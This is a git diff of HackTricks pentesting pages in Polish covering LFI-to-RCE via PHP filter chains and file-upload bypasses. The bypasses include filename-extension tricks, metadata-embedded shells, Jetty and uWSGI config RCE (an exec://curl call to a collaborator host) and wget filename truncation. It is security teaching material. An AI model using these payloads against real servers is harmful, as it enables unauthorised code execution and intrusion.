jeśli spowodujesz PHP Fatal Error, pliki tymczasowe PHP są usuwane._ +**Nie wiem, jak to może być przydatne, ale może być.**\ +_Nawet jeśli spowodujesz PHP Fatal Error, przesłane tymczasowe pliki PHP są usuwane._
-## Źródła +## References - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) @@ -673,6 +682,7 @@ _Nawet jeśli spowodujesz PHP Fatal Error, pliki tymczasowe PHP są usuwane._ - [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) - [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) - [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index b38c689b4..7a965ed6f 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -1,37 +1,38 @@ -# LFI2RCE za pomocą filtrów PHP +# LFI2RCE via PHP Filters {{#include ../../banners/hacktricks-training.md}} -## Wprowadzenie -Ten [**artykuł**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **filtrów php do generowania dowolnej treści** jako wyjścia. Co zasadniczo oznacza, że możesz **generować dowolny kod php** do włączenia **bez potrzeby zapisywania** go w pliku. +## Wstęp -Zasadniczo celem skryptu jest **wygenerowanie ciągu Base64** na **początku** pliku, który zostanie **ostatecznie zdekodowany**, dostarczając pożądany ładunek, który zostanie **zinterpretowany przez `include`**. +Ten [**opis** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że można użyć **php filters to generate arbitrary content** jako wyjścia. Co w praktyce oznacza, że możesz **generate arbitrary php code** dla include **without needing to write** go do pliku. -Podstawy do zrobienia tego są: +Celem skryptu jest w zasadzie **wygenerowanie Base64** ciągu na **początku** pliku, który zostanie **ostatecznie zdekodowany**, dostarczając żądany payload, który zostanie **zinterpretowany przez `include`**. -- `convert.iconv.UTF8.CSISO2022KR` zawsze doda `\x1b$)C` na początku ciągu -- `convert.base64-decode` jest niezwykle tolerancyjny, zasadniczo zignoruje wszelkie znaki, które nie są prawidłowym base64. Powoduje pewne problemy, jeśli napotka nieoczekiwane "=", ale te można usunąć za pomocą filtru `convert.iconv.UTF8.UTF7`. +Podstawy, by to zrobić, to: -Pętla do generowania dowolnej treści to: +- `convert.iconv.UTF8.CSISO2022KR` zawsze dopisze `\x1b$)C` do ciągu +- `convert.base64-decode` jest bardzo tolerancyjny, zasadniczo zignoruje znaki, które nie są poprawnym base64. Sprawia pewne problemy, jeśli napotka nieoczekiwane "=", ale te można usunąć filtrem `convert.iconv.UTF8.UTF7` -1. dodaj `\x1b$)C` do naszego ciągu, jak opisano powyżej -2. zastosuj łańcuch konwersji iconv, który pozostawia nasz początkowy base64 nienaruszony i konwertuje część, którą właśnie dodaliśmy, na jakiś ciąg, w którym jedynym prawidłowym znakiem base64 jest następna część naszego kodu php zakodowanego w base64 -3. zdekoduj base64 i ponownie zakoduj ciąg, co usunie wszelkie śmieci pomiędzy -4. Wróć do 1, jeśli base64, które chcemy skonstruować, nie jest jeszcze zakończone -5. zdekoduj base64, aby uzyskać nasz kod php +Pętla do wygenerowania dowolnej treści wygląda następująco: + +1. dopisz `\x1b$)C` do naszego ciągu jak opisano powyżej +2. zastosuj łańcuch konwersji iconv, który pozostawia nasz początkowy base64 nienaruszony i konwertuje część, którą właśnie dopisaliśmy, na taki ciąg, w którym jedynym poprawnym znakiem base64 jest następna część naszego base64-encoded php code +3. base64-decode i base64-encode ciągu, co usunie wszelki śmieć pomiędzy +4. wróć do 1 jeśli base64, który chcemy zbudować, nie jest jeszcze ukończony +5. base64-decode, aby otrzymać nasz kod php > [!WARNING] -> **Includes** zazwyczaj robią coś takiego jak **dodawanie ".php" na końcu** pliku, co może utrudnić wykorzystanie tego, ponieważ musisz znaleźć plik .php z treścią, która nie zniszczy exploita... lub **możesz po prostu użyć `php://temp` jako zasobu**, ponieważ może **mieć cokolwiek dodane do nazwy** (np. +".php") i nadal pozwoli to na działanie exploita! +> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work! -## Jak dodać również sufiksy do wynikowych danych +## Jak dodać sufiksy do wynikowego ciągu danych -[**Ten artykuł wyjaśnia**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) jak nadal możesz nadużywać filtrów PHP, aby dodać sufiksy do wynikowego ciągu. To jest świetne, jeśli potrzebujesz, aby wyjście miało jakiś konkretny format (jak json lub może dodanie jakichś bajtów magicznych PNG) +[**Ten artykuł wyjaśnia**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix), jak można nadal nadużyć PHP filters, aby dodać sufiksy do wynikowego stringa. To przydatne, gdy potrzebujesz, aby output miał konkretny format (np. json lub dodanie PNG magic bytes). -## Narzędzia automatyczne +## Automatyczne narzędzia - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) -- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(może dodać sufiksy)** +- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)** ## Pełny skrypt ```python @@ -95,7 +96,7 @@ print(r.text) ``` ### Ulepszenia -Poprzedni skrypt jest ograniczony do znaków base64 potrzebnych do tego ładunku. Dlatego stworzyłem własny skrypt, aby **bruteforce'ować wszystkie znaki base64**: +Poprzedni skrypt był ograniczony do znaków base64 potrzebnych dla tego payloadu. Dlatego stworzyłem własny skrypt, aby **bruteforce all the base64 characters**: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', @@ -250,9 +251,10 @@ find_vals($init); } ?> ``` -## Więcej odniesień +## Więcej odnośników - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 59a7edb6c..b02d3ae27 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -1,13 +1,13 @@ -# File Upload +# Przesyłanie plików {{#include ../../banners/hacktricks-training.md}} -## File Upload General Methodology +## Ogólna metodologia przesyłania plików -Inne przydatne rozszerzenia: +Other useful extensions: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ -- **Praca w PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ +- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ @@ -15,13 +15,13 @@ Inne przydatne rozszerzenia: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Ominięcie sprawdzania rozszerzeń plików +### Omijanie kontroli rozszerzeń plików -1. Jeśli to dotyczy, **sprawdź** **poprzednie rozszerzenia.** Przetestuj je również używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._ -2. _Sprawdź **dodanie ważnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_ +1. Jeśli mają zastosowanie, **sprawdź** poprzednie rozszerzenia. Testuj je także używając wielkich liter: _pHp, .pHP5, .PhAr ..._ +2. _Sprawdź **dodanie prawidłowego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_ - _file.png.php_ - _file.png.Php5_ -3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **bruteforce** wszystkich **znaków ascii** i **Unicode**. (_Zauważ, że możesz również spróbować użyć **wcześniej** wspomnianych **rozszerzeń**_) +3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **bruteforce'owania** wszystkich znaków **ascii** i **Unicode**. (_Uwaga: możesz także spróbować użyć wcześniej wspomnianych rozszerzeń_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Inne przydatne rozszerzenia: - _file._ - _file.php...._ - _file.pHp5...._ -4. Spróbuj obejść zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub **dodawanie śmieci** danych (**bajty** null) między rozszerzeniami. _Możesz również użyć **wcześniejszych rozszerzeń** do przygotowania lepszego ładunku._ +4. Spróbuj ominąć zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera technikami takimi jak **podwajanie** **rozszerzenia** lub **dodawanie śmieciowych** danych (bajtów **null**) pomiędzy rozszerzeniami. _Możesz również użyć **poprzednich rozszerzeń** żeby przygotować lepszy payload._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -43,72 +43,72 @@ Inne przydatne rozszerzenia: 5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniego sprawdzenia: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Spróbuj umieścić **rozszerzenie exec przed ważnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracyjnych Apache, gdzie wszystko z rozszerzeniem **_**.php**_**, ale** niekoniecznie kończące się na .php** wykona kod): +6. Spróbuj umieścić **rozszerzenie wykonywalne przed prawidłowym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne przy błędnych konfiguracjach Apache, gdzie wszystko z rozszerzeniem .php — nawet jeśli nie kończy się na .php — wykona kod): - _ex: file.php.png_ -7. Używając **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. “file.asax:.jpg”). Plik ten może być później edytowany za pomocą innych technik, takich jak użycie jego krótkiej nazwy. Wzorzec “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorcu może być również przydatne do ominięcia dalszych ograniczeń (np. “file.asp::$data.”) -8. Spróbuj złamać limity nazw plików. Ważne rozszerzenie zostaje obcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php +7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku po zabronionym rozszerzeniu i przed dozwolonym zostanie wstawiony dwukropek ":”. W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. "file.asax:.jpg”). Ten plik może być później edytowany innymi technikami, np. używając jego krótkiej nazwy. Wzorzec "**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być przydatne do ominięcia dalszych ograniczeń (np. "file.asp::$data.”) +8. Spróbuj przekroczyć limity długości nazwy pliku. Prawidłowe rozszerzenie zostaje odcięte, a złośliwy PHP pozostaje. AAA<--SNIP-->AAA.php ``` -# Linux maksymalnie 255 bajtów +# Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 tutaj i dodanie .png -# Prześlij plik i sprawdź odpowiedź, ile znaków pozwala. Powiedzmy 236 +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +# Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -# Stwórz ładunek +# Make the payload AAA<--SNIP 232 A-->AAA.php.png ``` -### Ominięcie Content-Type, Magic Number, Kompresji i Zmiany rozmiaru +### Omijanie Content-Type, magic number, kompresji i zmiany rozmiaru -- Omiń sprawdzanie **Content-Type** ustawiając **wartość** nagłówka **Content-Type** na: _image/png_, _text/plain_, application/octet-stream_ -1. Lista słów kluczowych Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Omiń sprawdzanie **magic number** dodając na początku pliku **bajty prawdziwego obrazu** (zdezorientuj polecenie _file_). Lub wprowadź powłokę wewnątrz **metadanych**:\ +- Omijaj kontrole nagłówka **Content-Type** ustawiając wartość nagłówka **Content-Type** na: _image/png_ , _text/plain , application/octet-stream_ +1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +- Omijaj kontrolę **magic number** dodając na początku pliku **bajty prawdziwego obrazu** (zmylić polecenie _file_). Lub wprowadź shell wewnątrz **metadanych**:\ `exiftool -Comment="' >> img.png` -- Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Możesz jednak użyć **techniki PLTE chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**. -- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**. -- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, jest użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**. -- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- Jeśli do Twojego obrazu jest dodawana **kompresja**, na przykład przy użyciu bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), powyższe techniki mogą być nieskuteczne. Możesz jednak użyć **PLTE chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- Strona może również **zmieniać rozmiar** obrazu, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **IDAT chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- Inna technika na stworzenie payloadu, który **przetrwa zmianę rozmiaru obrazu**, wykorzystuje funkcję PHP-GD `thumbnailImage`. Możesz także użyć **tEXt chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### Inne sztuczki do sprawdzenia -- Znajdź lukę, aby **zmienić nazwę** już przesłanego pliku (aby zmienić rozszerzenie). -- Znajdź lukę **Local File Inclusion**, aby wykonać backdoora. +- Znajdź podatność pozwalającą **zmienić nazwę** już przesłanego pliku (aby zmienić rozszerzenie). +- Znajdź podatność **Local File Inclusion** aby uruchomić backdoor. - **Możliwe ujawnienie informacji**: -1. Prześlij **wielokrotnie** (i **jednocześnie**) **ten sam plik** o **tej samej nazwie** -2. Prześlij plik o **nazwie** pliku lub **folderu**, który **już istnieje** -3. Przesyłanie pliku z **“.”, “..”, lub “…” jako jego nazwą**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa “.” utworzy plik o nazwie “uploads” w katalogu “/www/”. -4. Prześlij plik, który może być trudny do usunięcia, taki jak **“…:.jpg”** w **NTFS**. (Windows) -5. Prześlij plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w jego nazwie. (Windows) -6. Prześlij plik w **Windows** używając **zarezerwowanych** (**zabronionych**) **nazw** takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9. -- Spróbuj również **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzany), który **wykona kod** po przypadkowym otwarciu przez ofiarę. +1. Prześlij **kilka razy** (i w **tym samym czasie**) **ten sam plik** o **tej samej nazwie** +2. Prześlij plik o **nazwie** pliku lub folderu, który **już istnieje** +3. Przesłanie pliku o nazwie **"." , "..” lub "…”**. Na przykład w Apache na **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu "/www/uploads/”, nazwa pliku "." utworzy plik o nazwie "uploads” w katalogu "/www/". +4. Prześlij plik, którego nie da się łatwo usunąć, taki jak **"…:.jpg”** w **NTFS**. (Windows) +5. Prześlij plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w nazwie. (Windows) +6. Prześlij plik w **Windows** używając zastrzeżonych (**zabronionych**) nazw takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9. +- Spróbuj także **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzane), który **wykona kod** po przypadkowym otwarciu przez ofiarę. -### Specjalne sztuczki z rozszerzeniami +### Specjalne triki z rozszerzeniami -Jeśli próbujesz przesłać pliki do **serwera PHP**, [zobacz sztuczkę **.htaccess** do wykonania kodu](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Jeśli próbujesz przesłać pliki do **serwera ASP**, [zobacz sztuczkę **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Jeśli próbujesz przesyłać pliki na serwer **PHP**, {take a look at the **.htaccess** trick to execute code}(https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Jeśli próbujesz przesyłać pliki na serwer **ASP**, {take a look at the **.config** trick to execute code}(../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Pliki `.phar` są jak `.jar` dla javy, ale dla php, i mogą być **używane jak plik php** (wykonując je za pomocą php lub włączając je do skryptu...) +Pliki `.phar` są jak `.jar` dla Java, ale dla php, i mogą być **używane jak plik php** (wykonywane przez php, lub includowane w skrypcie...) -Rozszerzenie `.inc` jest czasami używane dla plików php, które są używane tylko do **importowania plików**, więc w pewnym momencie ktoś mógł pozwolić na **wykonywanie tego rozszerzenia**. +Rozszerzenie `.inc` jest czasami używane dla plików php, które służą jedynie do **importu plików**, więc w pewnym momencie ktoś mógł pozwolić na **wykonywanie tego rozszerzenia**. ## **Jetty RCE** -Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazie, prześlij plik XML do `$JETTY_BASE/webapps/` i oczekuj powłoki! +If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Więc, jak pokazano na poniższym obrazku, prześlij plik XML do `$JETTY_BASE/webapps/` i oczekuj shell'a! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Aby szczegółowo zbadać tę lukę, sprawdź oryginalne badania: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane w serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany. +Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed. -Rozważ następujący przykład szkodliwego pliku `uwsgi.ini`, pokazującego różne schematy: +Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes: ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja mogła zostać aktywowana i przeanalizowana, proces uWSGI musi zostać zrestartowany (potencjalnie po awarii lub z powodu ataku typu Denial of Service) lub plik musi być ustawiony na automatyczne przeładowanie. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian. +Wykonanie payload następuje podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać zrestartowany (potencjalnie po awarii lub w wyniku Denial of Service attack) lub plik musi mieć włączone auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach po wykryciu zmian. -Kluczowe jest zrozumienie luźnej natury analizy pliku konfiguracyjnego uWSGI. W szczególności omawiany ładunek może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo poszerza zakres potencjalnej eksploatacji. +Konieczne jest zrozumienie luźnego sposobu parsowania pliku konfiguracyjnego przez uWSGI. Konkretnie, omawiany payload może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo rozszerza zakres możliwej eksploatacji. ## **wget File Upload/SSRF Trick** -W niektórych przypadkach możesz zauważyć, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na liście dozwolonych, aby upewnić się, że tylko dozwolone pliki będą pobierane. Jednak **to sprawdzenie można obejść.**\ -Maksymalna długość **nazwy pliku** w **linux** wynosi **255**, jednak **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **ważnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**. +W niektórych przypadkach możesz stwierdzić, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich sytuacjach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na whitelist, aby zapewnić, że pobrane zostaną tylko dozwolone pliki. Jednak **ten check można obejść.**\ +Maksymalna długość nazwy pliku w **linux** to **255**, jednak **wget** obcina nazwy plików do **236** znaków. Możesz pobrać plik o nazwie "A"\*232+".php"+".gif" — ta nazwa ominie check (ponieważ w tym przykładzie **".gif"** jest dozwolonym rozszerzeniem), ale `wget` zmieni nazwę pliku na "A"\*232+".php". ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,45 +156,50 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest **przekierowanie serwera HTTP do innego pliku**, dzięki czemu początkowy adres URL obejdzie kontrolę, a następnie wget pobierze przekierowany plik z nową nazwą. To **nie zadziała** **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę z nazwą pliku wskazaną w oryginalnym adresie URL**. +Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest sprawienie, żeby **serwer HTTP przekierował do innego pliku**, więc początkowy URL ominie kontrolę, a następnie wget pobierze przekierowany plik pod nową nazwą. To **nie zadziała** **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę pod nazwą pliku wskazaną w oryginalnym URL**. ## Narzędzia -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać Pentesterów i Łowców Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i wykorzystywania luk, zapewniając dokładne oceny aplikacji internetowych. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, by wspomóc Pentesters i Bug Hunters w testowaniu mechanizmów uploadu plików. Wykorzystuje różne techniki bug bounty, upraszczając proces identyfikacji i 